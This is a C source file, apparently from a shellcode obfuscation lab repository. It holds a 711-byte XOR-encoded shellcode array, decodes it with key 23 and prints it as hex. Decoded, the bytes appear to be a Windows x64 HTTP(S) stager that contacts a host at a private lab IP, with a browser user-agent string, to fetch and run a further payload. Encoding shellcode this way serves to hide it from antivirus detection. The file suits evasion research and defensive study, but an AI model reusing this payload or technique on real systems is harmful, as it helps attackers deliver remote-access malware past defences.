mirror of
https://github.com/dobin/ShellcodeObfuscationLab
synced 2026-06-08 13:53:31 +00:00
34 lines
3.6 KiB
C
34 lines
3.6 KiB
C
#include <windows.h>
|
|
#include <stdio.h>
|
|
|
|
|
|
int main(void)
|
|
{
|
|
|
|
unsigned int xorkey = 23;
|
|
unsigned char shellcode[711] = {235, 95, 148, 243, 231, 255, 219, 23, 23, 23, 86, 70, 86, 71, 69, 95, 38, 197, 114, 95, 156, 69, 119, 95, 156, 69, 15, 95, 156, 69, 55, 70, 65, 95, 24, 160, 93, 93, 95, 156, 101, 71, 90, 38, 222, 95, 38, 215, 187, 43, 118, 107, 21, 59, 55, 86, 214, 222, 26, 86, 22, 214, 245, 250, 69, 95, 156, 69, 55, 156, 85, 43, 86, 70, 95, 22, 199, 113, 150, 111, 15, 28, 21, 24, 146, 101, 23, 23, 23, 156, 151, 159, 23, 23, 23, 95, 146, 215, 99, 112, 95, 22, 199, 83, 156, 87, 55, 94, 22, 199, 156, 95, 15, 71, 244, 65, 95, 232, 222, 86, 156, 35, 159, 90, 38, 222, 95, 22, 193, 95, 38, 215, 187, 86, 214, 222, 26, 86, 22, 214, 47, 247, 98, 230, 91, 20, 91, 51, 31, 82, 46, 198, 98, 207, 79, 83, 156, 87, 51, 94, 22, 199, 113, 86, 156, 27, 95, 83, 156, 87, 11, 94, 22, 199, 86, 156, 19, 159, 86, 79, 86, 79, 95, 22, 199, 73, 78, 77, 86, 79, 86, 78, 86, 77, 95, 148, 251, 55, 86, 69, 232, 247, 79, 86, 78, 77, 95, 156, 5, 254, 92, 232, 232, 232, 74, 95, 38, 204, 68, 94, 169, 96, 126, 121, 126, 121, 114, 99, 23, 86, 65, 95, 158, 246, 94, 208, 213, 91, 96, 49, 16, 232, 194, 68, 68, 255, 103, 23, 23, 23, 90, 120, 109, 126, 123, 123, 118, 56, 34, 57, 39, 55, 63, 64, 126, 121, 115, 120, 96, 100, 55, 89, 67, 55, 38, 39, 57, 39, 44, 55, 64, 126, 121, 33, 35, 44, 55, 111, 33, 35, 62, 55, 86, 103, 103, 123, 114, 64, 114, 117, 92, 126, 99, 56, 34, 36, 32, 57, 36, 33, 55, 63, 92, 95, 67, 90, 91, 59, 55, 123, 126, 124, 114, 55, 80, 114, 116, 124, 120, 62, 55, 84, 127, 101, 120, 122, 114, 56, 38, 36, 38, 57, 39, 57, 39, 57, 39, 55, 68, 118, 113, 118, 101, 126, 56, 34, 36, 32, 57, 36, 33, 23, 78, 68, 77, 90, 38, 215, 90, 38, 222, 68, 68, 94, 173, 45, 65, 110, 176, 23, 23, 23, 23, 232, 194, 255, 7, 23, 23, 23, 38, 46, 37, 57, 38, 33, 47, 57, 38, 46, 39, 57, 38, 36, 35, 23, 77, 95, 158, 214, 94, 208, 215, 71, 23, 23, 23, 90, 38, 222, 68, 68, 125, 20, 68, 94, 173, 64, 158, 136, 209, 23, 23, 23, 23, 232, 194, 255, 92, 23, 23, 23, 56, 98, 96, 83, 126, 78, 69, 89, 101, 116, 122, 109, 88, 32, 90, 72, 98, 103, 100, 86, 85, 71, 96, 125, 72, 123, 121, 126, 124, 35, 47, 32, 72, 80, 118, 85, 37, 68, 90, 99, 114, 38, 123, 125, 79, 113, 83, 71, 99, 46, 46, 81, 117, 99, 70, 86, 79, 34, 102, 65, 117, 38, 69, 126, 86, 67, 93, 88, 121, 102, 97, 111, 98, 58, 23, 95, 158, 214, 68, 77, 86, 79, 90, 38, 222, 68, 95, 175, 23, 21, 63, 147, 23, 23, 23, 23, 71, 68, 68, 94, 208, 213, 252, 66, 57, 44, 232, 194, 95, 158, 209, 125, 29, 72, 68, 77, 95, 158, 230, 90, 38, 222, 90, 38, 222, 68, 68, 94, 208, 213, 58, 17, 15, 108, 232, 194, 146, 215, 98, 8, 95, 208, 214, 159, 4, 23, 23, 94, 173, 83, 231, 34, 247, 23, 23, 23, 23, 232, 194, 95, 232, 216, 99, 21, 252, 219, 255, 66, 23, 23, 23, 68, 78, 125, 87, 77, 94, 158, 198, 214, 245, 7, 94, 208, 215, 23, 7, 23, 23, 94, 173, 79, 179, 68, 242, 23, 23, 23, 23, 232, 194, 95, 132, 68, 68, 95, 158, 240, 95, 158, 230, 95, 158, 205, 94, 208, 215, 23, 55, 23, 23, 94, 158, 238, 94, 173, 5, 129, 158, 245, 23, 23, 23, 23, 232, 194, 95, 148, 211, 55, 146, 215, 99, 165, 113, 156, 16, 95, 22, 212, 146, 215, 98, 197, 79, 212, 79, 125, 23, 78, 94, 208, 213, 231, 162, 181, 65, 232, 194};
|
|
|
|
// XOR each byte of our shellcode with the key to decode it
|
|
for (int idx = 0; idx < sizeof(shellcode); idx++) {
|
|
shellcode[idx] = shellcode[idx] ^ xorkey;
|
|
}
|
|
|
|
int idx = 0;
|
|
while ( idx < sizeof(shellcode))
|
|
{
|
|
if (idx == (sizeof(shellcode) - 1) )
|
|
{
|
|
printf("0x%02x ", (unsigned char)shellcode[idx]);
|
|
}
|
|
else
|
|
{
|
|
printf("0x%02x, ", (unsigned char)shellcode[idx]);
|
|
}
|
|
idx++;
|
|
}
|
|
|
|
|
|
return 0;
|
|
}
|
|
|